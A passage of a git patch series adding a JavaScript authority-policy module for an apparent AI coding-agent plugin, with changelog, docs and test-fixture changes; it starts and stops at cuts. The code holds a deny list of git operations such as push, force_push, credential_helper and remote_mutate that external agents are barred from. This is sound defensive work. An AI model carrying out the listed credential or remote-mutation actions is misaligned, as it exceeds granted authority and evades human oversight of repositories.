return true; + } + return !capturedTest(SAFE_REF_PATTERN, value); +} + +function assertAsciiSegment(value, path) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = BYTE_LENGTH(value, 'utf8'); + if (bytes === 0 || bytes > MAX_REF_BYTES || value.normalize('NFC') !== value) deny('out_of_range', path); + if (!capturedTest(BRANCH_SEGMENT_PATTERN, value)) deny('branch_namespace_violation', path); + return value; +} + +function bindOrThrow(label, path, fn) { + try { return fn(); } catch (error) { + if (error instanceof RunContractV1Error) deny(label, path); + throw error; + } +} + +function optionalSegment(input, key, path) { + if (!hasOwn(input, key)) return undefined; + return assertAsciiSegment(optOwn(input, key), `${path}.${key}`); +} + +export const GIT_AUTHORITY_POLICY_V1 = freezeData({ + schema: GIT_AUTHORITY_POLICY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + default_branch_names: [...DEFAULT_BRANCH_NAMES], + user_protected_ref_prefixes: capturedFreeze([ + `${HEADS_PREFIX}main`, `${HEADS_PREFIX}master`, 'refs/tags/', 'refs/notes/', 'refs/remotes/', + ]), + lane_branch_namespace: LANE_BRANCH_NAMESPACE, + lane_ref_prefix: LANE_REF_PREFIX, + lane_digest_prefix_length: LANE_DIGEST_PREFIX_LENGTH, + candidate_ref_namespace: CANDIDATE_REF_NAMESPACE, + candidate_ref_leaf: CANDIDATE_REF_LEAF, + manifest_digest_hex_length: MANIFEST_DIGEST_HEX_LENGTH, + max_ref_bytes: MAX_REF_BYTES, + max_ref_segments: MAX_REF_SEGMENTS, + max_history_commits: MAX_HISTORY_COMMITS, + max_parent_count: MAX_PARENT_COUNT, +}); +export const GitAuthorityPolicyV1 = GIT_AUTHORITY_POLICY_V1; +const POLICY_CANONICAL = canonicalJsonStringify(GIT_AUTHORITY_POLICY_V1); + +export function parseGitAuthorityPolicyV1(input) { + const path = 'policy'; + const object = assertClosedObject(input, POLICY_ALLOWED_KEYS, path); + requireKeys(object, POLICY_ALLOWED_KEYS, path); + for (const key of POLICY_ALLOWED_KEYS) { + assertExact(optOwn(object, key), GIT_AUTHORITY_POLICY_V1[key], `${path}.${key}`); + } + if (canonicalJsonStringify(object) !== POLICY_CANONICAL) deny('invalid_format', path); + return GIT_AUTHORITY_POLICY_V1; +} + +export function bindAuthorityIdentityV1(input) { + const path = 'identity'; + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, path); + requireKeys(object, IDENTITY_REQUIRED_KEYS, path); + bindOrThrow('authority_identity_invalid', `${path}.repository_path`, + () => assertRepositoryPath(optOwn(object, 'repository_path'), `${path}.repository_path`)); + const baseSha = optOwn(object, 'base_sha'); + bindOrThrow('authority_identity_invalid', `${path}.base_sha`, () => assertBaseSha(baseSha, `${path}.base_sha`)); + const runId = optOwn(object, 'run_id'); + bindOrThrow('authority_identity_invalid', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('authority_identity_invalid', `${path}.assignment_id`); + const values = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, repository_bound: true, + base_sha: baseSha, run_id: runId, assignment_id: assignmentId, + }; + if (hasOwn(object, 'head_sha')) { + const headSha = optOwn(object, 'head_sha'); + if (typeof headSha !== 'string' || !capturedTest(SHA40_PATTERN, headSha)) { + deny('authority_identity_invalid', `${path}.head_sha`); + } + values.head_sha = headSha; + } + return freezeRecord( + ['schema', 'version', 'repository_bound', 'base_sha', 'run_id', 'assignment_id', 'head_sha'], + values, + ); +} + +function assertBranchRequest(input) { + const path = 'branch'; + const object = assertClosedObject(input, BRANCH_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, BRANCH_REQUEST_ALLOWED_KEYS, path); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(optOwn(object, 'run_id'), `${path}.run_id`)); + const assignmentId = optOwn(object, 'assignment_id'); + if (!isAssignmentId(assignmentId)) deny('invalid_format', `${path}.assignment_id`); + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + return { assignmentId, digest }; +} + +export function expectedRunBranchNameV1(input) { + const { assignmentId, digest } = assertBranchRequest(input); + return `codex/run-${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${assignmentId}`; +} + +export function expectedLaneRefV1(input) { + return `${HEADS_PREFIX}${expectedRunBranchNameV1(input)}`; +} + +export function expectedCandidateRefV1(input) { + const path = 'candidate'; + const object = typeof input === 'string' + ? assertClosedObject({ run_id: input }, ['run_id'], path) + : assertClosedObject(input, ['run_id'], path); + requireKeys(object, ['run_id'], path); + const runId = optOwn(object, 'run_id'); + bindOrThrow('invalid_format', `${path}.run_id`, () => assertRunId(runId, `${path}.run_id`)); + return `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}`; +} + +export function isValidRunBranchNameV1(name) { + return typeof name === 'string' + && BYTE_LENGTH(name, 'utf8') <= MAX_REF_BYTES + && name.normalize('NFC') === name + && capturedTest(LANE_BRANCH_PATTERN, name) + && !refGrammarDenied(`${HEADS_PREFIX}${name}`); +} + +export function isRunOwnedCandidateRefV1(ref, runId) { + if (typeof ref !== 'string' || typeof runId !== 'string') return false; + try { assertRunId(runId, 'run_id'); } catch { return false; } + return !refGrammarDenied(ref) + && ref === `${CANDIDATE_REF_NAMESPACE}${runId}/${CANDIDATE_REF_LEAF}` + && capturedTest(CANDIDATE_REF_PATTERN, ref); +} + +export function classifyRefV1(input) { + const path = 'ref_request'; + const object = assertClosedObject(input, REF_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, ['ref'], path); + const refValue = optOwn(object, 'ref'); + if (typeof refValue !== 'string') deny('invalid_type', `${path}.ref`); + const identity = hasOwn(object, 'identity') ? bindAuthorityIdentityV1(optOwn(object, 'identity')) : undefined; + const protectedNames = new SET_CTOR(DEFAULT_BRANCH_NAMES); + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch']) { + const extra = optionalSegment(object, key, path); + if (extra !== undefined) protectedNames.add(extra); + } + let ownLaneRef; + if (hasOwn(object, 'manifest_digest_hex') && identity !== undefined) { + const digest = optOwn(object, 'manifest_digest_hex'); + if (typeof digest !== 'string' || !capturedTest(DIGEST_PATTERN, digest)) deny('invalid_format', `${path}.manifest_digest_hex`); + ownLaneRef = `${LANE_REF_PREFIX}${digest.slice(0, LANE_DIGEST_PREFIX_LENGTH)}/${identity.assignment_id}`; + } + + const result = { + schema: GIT_AUTHORITY_SCHEMA_ID, version: GIT_AUTHORITY_VERSION, + ref_class: 'user_protected', protected: true, default_branch_target: false, + code: 'protected_ref_write_denied', + }; + if (refGrammarDenied(refValue)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } else if (capturedTest(CANDIDATE_REF_PATTERN, refValue)) { + result.ref_class = 'platform_run_owned'; + result.code = identity !== undefined + && refValue === `${CANDIDATE_REF_NAMESPACE}${identity.run_id}/${CANDIDATE_REF_LEAF}` + ? 'protected_ref_write_denied' : 'branch_namespace_violation'; + } else if (capturedTest(LANE_REF_PATTERN, refValue)) { + if (ownLaneRef !== undefined && OBJECT_IS(refValue, ownLaneRef)) { + result.ref_class = 'worker_lane'; + result.protected = false; + result.code = 'authority_ok'; + } else { + result.code = 'branch_namespace_violation'; + } + } else if (refValue.startsWith('refs/tags/') || refValue.startsWith('refs/notes/') + || refValue.startsWith('refs/remotes/')) { + result.code = 'protected_ref_write_denied'; + } else if (refValue.startsWith(HEADS_PREFIX) && protectedNames.has(refValue.slice(HEADS_PREFIX.length))) { + result.default_branch_target = true; + result.code = 'default_branch_target_denied'; + } else if (!refValue.startsWith(HEADS_PREFIX)) { + result.ref_class = 'unclassified'; + result.code = 'branch_namespace_violation'; + } + return freezeRecord( + ['schema', 'version', 'ref_class', 'protected', 'default_branch_target', 'code'], + result, + ); +} + +export function isProtectedRefV1(input) { + return classifyRefV1(input).protected === true; +} + +capturedFreeze(parseGitAuthorityPolicyV1); +capturedFreeze(bindAuthorityIdentityV1); +capturedFreeze(expectedRunBranchNameV1); +capturedFreeze(expectedLaneRefV1); +capturedFreeze(expectedCandidateRefV1); +capturedFreeze(isValidRunBranchNameV1); +capturedFreeze(isRunOwnedCandidateRefV1); +capturedFreeze(classifyRefV1); +capturedFreeze(isProtectedRefV1); From a8cebdf54d5ce75f969ce8bf411562acca73e448 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:50:21 +0000 Subject: [PATCH 060/151] feat(authority): prohibit merge push and create-pr operations --- CHANGELOG.md | 15 + docs/future-work.md | 8 +- .../mcp/v3/git-authority.mjs | 320 +++++++++++++++++- 3 files changed, 337 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c7f1e20..f5e60e6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,21 @@ ### Added +- **Git authority policy.** Adds additive v3 `git-authority.mjs` (P28): a + closed immutable `GitAuthorityPolicyV1` for protected/default refs, the + `codex/run-/` lane namespace, credential-free + repository/ref identity, and operation authority. External agents and + providers cannot merge, rebase, push, create PRs, mutate + protected/default refs, create tags/releases, or obtain + credential/remote mutation authority. Default-branch targets, merge + histories, namespace/confusable/ref-grammar attacks, unknown + operations/keys, proxy/accessor inputs, and bounds abuse fail closed. + Verdicts and P13-compatible facts/discrepancies are content-free and + never echo repository paths, URLs, credentials, provider text, or + hostile refs. This is policy at the authority seam only: no Git + mutation, no P29 credential isolation, and no P30 protected-ref audit. + Coverage lives in `test/r1-git-authority.test.mjs` and + `test/r1-git-authority-adversarial.test.mjs`. - **Local provider result sink.** Adds additive v3 `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted diff --git a/docs/future-work.md b/docs/future-work.md index 87efcf8..18ea2b2 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -6,7 +6,7 @@ Status: specified, not implemented. Priority: high Component: Codex-Co-Engineer -Last updated: 2026-08-22 +Last updated: 2026-08-23 The accepted architecture for R1 is [ADR 0001](adr/0001-r1-bounded-run-architecture.md). It defines a 3.3.0 run @@ -34,6 +34,12 @@ fail-closed identity/correlation drift denials. Neither adapter's deterministic transport port substitutes for the remaining real lifecycle routes documented in `docs/dsh-acpx-driver.md`. +The P28 `GitAuthorityPolicyV1` is in-tree as a pure authority-seam +policy: protected/default refs, the allowed task-branch namespace, +credential-free repository identity, and denied merge/push/create-PR/ +tag/release operations. It does not mutate Git, isolate credentials +(P29), or audit live refs (P30). + The P11 local provider result sink is in-tree as an additive provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output is published through the accepted P09 sanitizer and P08 diff --git a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs index 4b30b80..c4987ae 100644 --- a/plugins/codex-co-engineer/mcp/v3/git-authority.mjs +++ b/plugins/codex-co-engineer/mcp/v3/git-authority.mjs @@ -3,14 +3,24 @@ // `gate_a_no_protected_ref_mutation`). // // Additive v3 static law: protected/default refs, the allowed task-branch -// namespace, credential-free repository/ref identity, and tri-class -// classification. No Git mutation, no P29 credential/remote I/O, no P30 -// audit. Policy plus detection is not containment. Receipts never echo -// repository paths, URLs, credentials, provider text, or hostile refs. +// namespace, credential-free repository/ref identity, tri-class +// classification, and operation authority. External agents never merge, +// rebase, push, create PRs, mutate protected/default refs, create +// tags/releases, or obtain credential/remote mutation authority. No Git +// mutation, no P29 credential/remote I/O, no P30 audit. Policy plus +// detection is not containment. Receipts never echo repository paths, +// URLs, credentials, provider text, or hostile refs. import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; -import { capturedFreeze, capturedTest } from './grammar.mjs'; +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, +} from './capability-bridge.mjs'; +import { capturedFreeze, capturedIncludes, capturedTest, isKnownProvider } from './grammar.mjs'; import { canonicalJsonStringify } from './identity.mjs'; import { RunContractV1Error, @@ -38,6 +48,18 @@ export const GIT_AUTHORITY_VERSION = 1; export const REF_CLASS_VALUES = capturedFreeze([ 'platform_run_owned', 'unclassified', 'user_protected', 'worker_lane', ]); +export const ACTOR_VALUES = capturedFreeze(['codex', 'platform', 'worker']); +export const AUTHORITY_VERDICTS = capturedFreeze(['allowed', 'denied']); +export const ALLOWED_OPERATIONS = capturedFreeze([ + 'commit_on_lane_branch', 'compose_candidate_non_authoritative', + 'create_lane_branch', 'read_only_inspect', +]); +export const DENIED_OPERATIONS = capturedFreeze([ + 'create_pr', 'credential_helper', 'delete_ref', 'fetch', 'force_push', + 'merge', 'merge_pr', 'protected_ref_update', 'pull', 'push', 'rebase', + 'release_create', 'remote_mutate', 'tag_create', 'tag_delete', +]); +export const GIT_OPERATIONS = capturedFreeze([...ALLOWED_OPERATIONS, ...DENIED_OPERATIONS]); export const MAX_AUTHORITY_OBJECT_KEYS = 32; export const MAX_AUTHORITY_KEY_BYTES = 128; export const MAX_REF_BYTES = 200; @@ -81,6 +103,24 @@ export const REF_REQUEST_ALLOWED_KEYS = capturedFreeze([ export const BRANCH_REQUEST_ALLOWED_KEYS = capturedFreeze([ 'assignment_id', 'manifest_digest_hex', 'run_id', ]); +export const HISTORY_ALLOWED_KEYS = capturedFreeze(['parent_counts']); +export const POSTURE_ALLOWED_KEYS = capturedFreeze([...CAPABILITY_RECORD_ALLOWED_KEYS, 'schema']); +export const OPERATION_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'actor', 'capability', 'default_branch', 'history', 'identity', + 'init_default_branch', 'manifest_digest_hex', 'operation', + 'origin_head_branch', 'ref', 'schema', 'version', +]); +export const OPERATION_REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'actor', 'identity', 'operation', 'schema', 'version', +]); +export const EVIDENCE_CONTEXT_ALLOWED_KEYS = capturedFreeze([ + 'discrepancy_id', 'fact_id', 'sequence', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'actor', 'assignment_id', 'base_sha', 'code', 'default_branch_target', + 'message', 'operation', 'path', 'ref_class', 'run_id', 'schema', + 'verdict', 'version', +]); export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ 'accessor_property_denied', 'aliased_reference_denied', @@ -96,11 +136,39 @@ export const GIT_AUTHORITY_ERROR_CODES = capturedFreeze([ const DEFINE = Object.defineProperty; const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; const STRING = String; const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); const IS_ARRAY = Array.isArray; const OWN_KEYS = Reflect.ownKeys; const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; + +const DENIED_OPERATION_CODES = capturedFreeze({ + create_pr: 'merge_authority_denied', + credential_helper: 'credential_content_denied', + delete_ref: 'protected_ref_write_denied', + fetch: 'push_authority_denied', + force_push: 'push_authority_denied', + merge: 'merge_authority_denied', + merge_pr: 'merge_authority_denied', + protected_ref_update: 'protected_ref_write_denied', + pull: 'push_authority_denied', + push: 'push_authority_denied', + rebase: 'merge_authority_denied', + release_create: 'protected_ref_write_denied', + remote_mutate: 'push_authority_denied', + tag_create: 'protected_ref_write_denied', + tag_delete: 'protected_ref_write_denied', +}); +const ACTOR_OPERATIONS = capturedFreeze({ + worker: capturedFreeze(['commit_on_lane_branch', 'create_lane_branch', 'read_only_inspect']), + platform: capturedFreeze(['compose_candidate_non_authoritative', 'read_only_inspect']), + codex: capturedFreeze(['read_only_inspect']), +}); +const RECORD_ID_PATTERN = /^[a-z][a-z0-9-]{0,63}$/u; const MSG = capturedFreeze({ accessor_property_denied: 'GitAuthorityPolicyV1 denies accessor inputs.', @@ -389,6 +457,244 @@ export function isProtectedRefV1(input) { return classifyRefV1(input).protected === true; } +export function classifyLaneHistoryV1(input) { + const path = 'history'; + const object = assertClosedObject(input, HISTORY_ALLOWED_KEYS, path); + requireKeys(object, HISTORY_ALLOWED_KEYS, path); + const counts = optOwn(object, 'parent_counts'); + assertNotProxy(counts, `${path}.parent_counts`); + if (!IS_ARRAY(counts) || counts.length < 1 || counts.length > MAX_HISTORY_COMMITS) { + deny('out_of_range', `${path}.parent_counts`); + } + let merge = false; + for (let i = 0; i < counts.length; i += 1) { + const count = ownDataValue(counts, STRING(i), `${path}.parent_counts[${i}]`); + if (typeof count !== 'number' || !IS_INT(count) || count < 0 || count > MAX_PARENT_COUNT) { + deny('out_of_range', `${path}.parent_counts`); + } + if (count >= 2) merge = true; + } + return freezeRecord(['schema', 'version', 'verdict', 'code', 'path', 'message'], { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + verdict: merge ? 'denied' : 'allowed', + code: merge ? 'merge_history_denied' : 'authority_ok', + path: 'history', + message: MSG[merge ? 'merge_history_denied' : 'authority_ok'], + }); +} + +export function assertAuthorityPostureV1(input) { + const path = 'capability'; + const object = assertClosedObject(input, POSTURE_ALLOWED_KEYS, path); + if (!hasOwn(object, 'merge_authority') || !hasOwn(object, 'create_pr_posture')) { + deny('missing_key', path); + } + if (hasOwn(object, 'schema') + && optOwn(object, 'schema') !== PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID) { + deny('authority_posture_mismatch', `${path}.schema`); + } + const mergeAuthority = optOwn(object, 'merge_authority'); + if (!capturedIncludes(MERGE_AUTHORITIES, mergeAuthority)) { + deny('authority_posture_mismatch', `${path}.merge_authority`); + } + const createPr = optOwn(object, 'create_pr_posture'); + if (!capturedIncludes(CREATE_PR_POSTURES, createPr)) { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + let provider; + if (hasOwn(object, 'provider')) { + provider = optOwn(object, 'provider'); + if (!isKnownProvider(provider)) deny('authority_posture_mismatch', `${path}.provider`); + } + if (createPr === 'non_authoritative_cloud_only' && provider !== 'cursor-cloud') { + deny('authority_posture_mismatch', `${path}.create_pr_posture`); + } + return freezeRecord(['merge_authority', 'create_pr_posture', 'provider'], { + merge_authority: mergeAuthority, + create_pr_posture: createPr, + provider, + }); +} + +function classifyRefFromOperation(object, identity) { + if (!hasOwn(object, 'ref')) return undefined; + const refRequest = { ref: optOwn(object, 'ref') }; + if (identity !== undefined) refRequest.identity = { + repository_path: optOwn(optOwn(object, 'identity'), 'repository_path'), + base_sha: identity.base_sha, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + }; + for (const key of ['default_branch', 'origin_head_branch', 'init_default_branch', 'manifest_digest_hex']) { + if (hasOwn(object, key)) refRequest[key] = optOwn(object, key); + } + return classifyRefV1(refRequest); +} + +function receipt(values) { + return freezeRecord(RECEIPT_KEYS, { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + message: MSG[values.code] ?? MSG.invalid_format, + ref_class: null, + default_branch_target: false, + ...values, + }); +} + +export function classifyGitOperationV1(input) { + const path = 'request'; + const object = assertClosedObject(input, OPERATION_REQUEST_ALLOWED_KEYS, path); + requireKeys(object, OPERATION_REQUEST_REQUIRED_KEYS, path); + if (optOwn(object, 'schema') !== GIT_AUTHORITY_SCHEMA_ID) deny('invalid_format', `${path}.schema`); + if (optOwn(object, 'version') !== GIT_AUTHORITY_VERSION) deny('invalid_format', `${path}.version`); + const actor = optOwn(object, 'actor'); + if (!capturedIncludes(ACTOR_VALUES, actor)) deny('invalid_format', `${path}.actor`); + const operation = optOwn(object, 'operation'); + if (typeof operation !== 'string') deny('invalid_type', `${path}.operation`); + if (!capturedIncludes(GIT_OPERATIONS, operation)) deny('unknown_git_operation', `${path}.operation`); + const identity = bindAuthorityIdentityV1(optOwn(object, 'identity')); + if (hasOwn(object, 'capability')) assertAuthorityPostureV1(optOwn(object, 'capability')); + + const deniedCode = DENIED_OPERATION_CODES[operation]; + if (deniedCode !== undefined) { + return receipt({ + verdict: 'denied', code: deniedCode, path: 'operation', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (!capturedIncludes(ACTOR_OPERATIONS[actor], operation)) { + return receipt({ + verdict: 'denied', code: 'authority_posture_mismatch', path: 'actor', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + if (hasOwn(object, 'history')) { + const history = classifyLaneHistoryV1(optOwn(object, 'history')); + if (history.verdict === 'denied') { + return receipt({ + verdict: 'denied', code: 'merge_history_denied', path: 'history', actor, operation, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + } + + const write = operation !== 'read_only_inspect'; + if (write && !hasOwn(object, 'ref')) deny('missing_key', `${path}.ref`); + const classified = classifyRefFromOperation(object, identity); + if (classified !== undefined && write) { + const allowedClass = operation === 'compose_candidate_non_authoritative' + ? 'platform_run_owned' : 'worker_lane'; + const allowed = operation === 'compose_candidate_non_authoritative' + ? classified.ref_class === 'platform_run_owned' && classified.code === 'protected_ref_write_denied' + : classified.ref_class === 'worker_lane' && classified.code === 'authority_ok'; + if (!allowed) { + return receipt({ + verdict: 'denied', + code: classified.default_branch_target ? 'default_branch_target_denied' : classified.code, + path: 'ref', actor, operation, ref_class: classified.ref_class, + default_branch_target: classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: allowedClass, run_id: identity.run_id, assignment_id: identity.assignment_id, + base_sha: identity.base_sha, + }); + } + return receipt({ + verdict: 'allowed', code: 'authority_ok', path: 'operation', actor, operation, + ref_class: classified === undefined ? null : classified.ref_class, + default_branch_target: classified === undefined ? false : classified.default_branch_target, + run_id: identity.run_id, assignment_id: identity.assignment_id, base_sha: identity.base_sha, + }); +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function evidenceMethod(code) { + if (code === 'merge_history_denied') return 'merge_commit_absence'; + if (code === 'default_branch_target_denied' || code === 'protected_ref_write_denied' + || code === 'branch_namespace_violation') { + return 'protected_ref_snapshot_compare'; + } + return 'ancestry_check'; +} + +export function projectAuthorityEvidenceV1(verdict, context = {}) { + const path = 'evidence'; + if (verdict === undefined || verdict === null) deny('invalid_type', path); + assertDirectJsonClosure(verdict, path); + assertPlainObject(verdict, 'invalid_type', path, path); + assertAllowedKeys(verdict, RECEIPT_KEYS, path); + const ctx = context === undefined ? {} : context; + if (ctx !== undefined && ctx !== null && typeof ctx === 'object') { + assertClosedObject(ctx, EVIDENCE_CONTEXT_ALLOWED_KEYS, `${path}.context`); + } + const factId = hasOwn(ctx, 'fact_id') ? optOwn(ctx, 'fact_id') : 'f-authority'; + const discrepancyId = hasOwn(ctx, 'discrepancy_id') ? optOwn(ctx, 'discrepancy_id') : 'd-authority'; + const sequence = hasOwn(ctx, 'sequence') ? optOwn(ctx, 'sequence') : 0; + if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', `${path}.fact_id`); + if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { + deny('invalid_format', `${path}.discrepancy_id`); + } + if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { + deny('out_of_range', `${path}.sequence`); + } + const denied = optOwn(verdict, 'verdict') === 'denied'; + const code = optOwn(verdict, 'code'); + const runId = optOwn(verdict, 'run_id'); + const assignmentId = optOwn(verdict, 'assignment_id'); + const baseSha = optOwn(verdict, 'base_sha'); + const payload = { base_sha: baseSha, head_sha: baseSha }; + const fact = freezeData({ + fact_id: factId, + fact_kind: 'git_identity', + status: denied ? 'failed' : 'verified', + code: 'host_observed', + run_id: runId, + assignment_id: assignmentId, + sequence, + subject: 'git-authority', + authority: 'platform_git', + method: evidenceMethod(typeof code === 'string' ? code : 'authority_ok'), + input_digest: digestOf({ + actor: optOwn(verdict, 'actor'), operation: optOwn(verdict, 'operation'), + ref_class: optOwn(verdict, 'ref_class'), + }), + output_digest: digestOf({ verdict: optOwn(verdict, 'verdict'), code }), + exit_code: denied ? 1 : 0, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); + const discrepancy = denied ? freezeData({ + discrepancy_id: discrepancyId, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: runId, + assignment_id: assignmentId, + sequence, + claim_ids: [], + fact_ids: [factId], + artifact_digests: [], + }) : null; + return freezeData({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + facts: [fact], + discrepancies: discrepancy === null ? [] : [discrepancy], + }); +} + capturedFreeze(parseGitAuthorityPolicyV1); capturedFreeze(bindAuthorityIdentityV1); capturedFreeze(expectedRunBranchNameV1); @@ -398,3 +704,7 @@ capturedFreeze(isValidRunBranchNameV1); capturedFreeze(isRunOwnedCandidateRefV1); capturedFreeze(classifyRefV1); capturedFreeze(isProtectedRefV1); +capturedFreeze(classifyLaneHistoryV1); +capturedFreeze(assertAuthorityPostureV1); +capturedFreeze(classifyGitOperationV1); +capturedFreeze(projectAuthorityEvidenceV1); From a1b33f95cc0dfe86a1a95bf7e2940330115da61c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:52:50 +0000 Subject: [PATCH 061/151] test(authority): reject merge histories and default-branch targets --- .../fixtures/r1-git-authority-fixtures.mjs | 135 +++++++++ .../r1-git-authority-adversarial.test.mjs | 182 +++++++++++ .../test/r1-git-authority.test.mjs | 283 ++++++++++++++++++ 3 files changed, 600 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-authority.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs new file mode 100644 index 0000000..8ead3af --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs @@ -0,0 +1,135 @@ +// Shared fixtures for the P28 GitAuthorityPolicyV1 tests. +// Construction only: tests own the assertions. Disposable repositories +// never attach remotes or credentials. + +import { spawnSync } from 'node:child_process'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, +} from '../../mcp/v3/git-authority.mjs'; + +export const RUN_ID = 'run-authority-01'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const OTHER_ASSIGNMENT_ID = 'lane-beta'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-authority-repo'; +export const MANIFEST_DIGEST_HEX = 'ab'.repeat(32); +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p28', + GIT_AUTHOR_EMAIL: 'p28@example.test', + GIT_COMMITTER_NAME: 'p28', + GIT_COMMITTER_EMAIL: 'p28@example.test', +}); + +export function validIdentity(overrides = {}) { + return { + repository_path: REPOSITORY_PATH, + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + ...overrides, + }; +} + +export function operationRequest(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + identity: validIdentity(), + manifest_digest_hex: MANIFEST_DIGEST_HEX, + ...overrides, + }; +} + +export function git(cwd, args) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p28', + '-c', 'user.email=p28@example.test', + ...args, + ], { cwd, encoding: 'utf8', env: GIT_ENV }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + throw error; + } + return result.stdout; +} + +export async function withDisposableRepo(build) { + const root = await mkdtemp(path.join(tmpdir(), 'cce-r1-p28-')); + try { + return await build(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +export async function initRepo(root) { + git(root, ['init', '--initial-branch=main']); + git(root, ['commit', '--allow-empty', '-m', 'base']); +} + +export function parentCounts(root, spec = 'HEAD') { + const output = git(root, ['rev-list', '--parents', '--reverse', spec]); + const counts = []; + for (const line of output.split('\n')) { + if (line.length === 0) continue; + counts.push(line.split(' ').length - 1); + } + return counts; +} + +export async function writeLinearHistory(root) { + await initRepo(root); + git(root, ['commit', '--allow-empty', '-m', 'second']); + return parentCounts(root); +} + +export async function writeMergeHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'other']); + git(root, ['commit', '--allow-empty', '-m', 'side']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', 